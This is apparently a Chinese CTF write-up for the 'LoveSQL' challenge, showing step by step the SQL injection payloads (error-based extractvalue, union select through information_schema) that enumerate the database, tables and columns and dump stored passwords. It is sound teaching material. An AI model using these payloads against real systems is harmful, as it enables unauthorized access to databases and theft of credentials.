Web-[极客大挑战 2019]LoveSQL

打开题目:
Web-[极客大挑战 2019]LoveSQL
尝试万能密码:
Web-[极客大挑战 2019]LoveSQL
跳转到check.php页面,并得到用户名和密码
Web-[极客大挑战 2019]LoveSQL
尝试密码md5解密失败
接下来,尝试常规的注入手段
payload:1' union select
出现报错回显,说明这里没有什么过滤
Web-[极客大挑战 2019]LoveSQL
于是,开始爆数据库名-表名-字段名

1. 爆数据库名

  • 方法1
    payload:1' union select * from a#
    报错回显为:
    Web-[极客大挑战 2019]LoveSQL
    可以得到数据库名为geek
  • 方法2
    payload:1' and extractvalue(1,concat(1,database()))#
    Web-[极客大挑战 2019]LoveSQL

2. 寻找注入点

payload:1' union select 1,2,3,4#
回显:
Web-[极客大挑战 2019]LoveSQL
说明没有这么多个字段
那把payload改成1' union select 1,2,3#
Web-[极客大挑战 2019]LoveSQL
成功找到注入点

3. 爆表名

payload:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
回显:
Web-[极客大挑战 2019]LoveSQL
可以看到,数据库中存在geekuser和l0ve1ysq1这两个表

4. 爆字段名

payload:1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
回显:
Web-[极客大挑战 2019]LoveSQL
这里有3个字段:id,username和password
根据直觉,猜测flag应该在password字段中

5. 找password字段下的所有条目

payload:1' union select 1,2,group_concat(password) from l0ve1ysq1#
回显:
Web-[极客大挑战 2019]LoveSQL
得到flag

上一篇:XSS跨站脚本攻击


下一篇:[WUSTCTF2020]朴实无华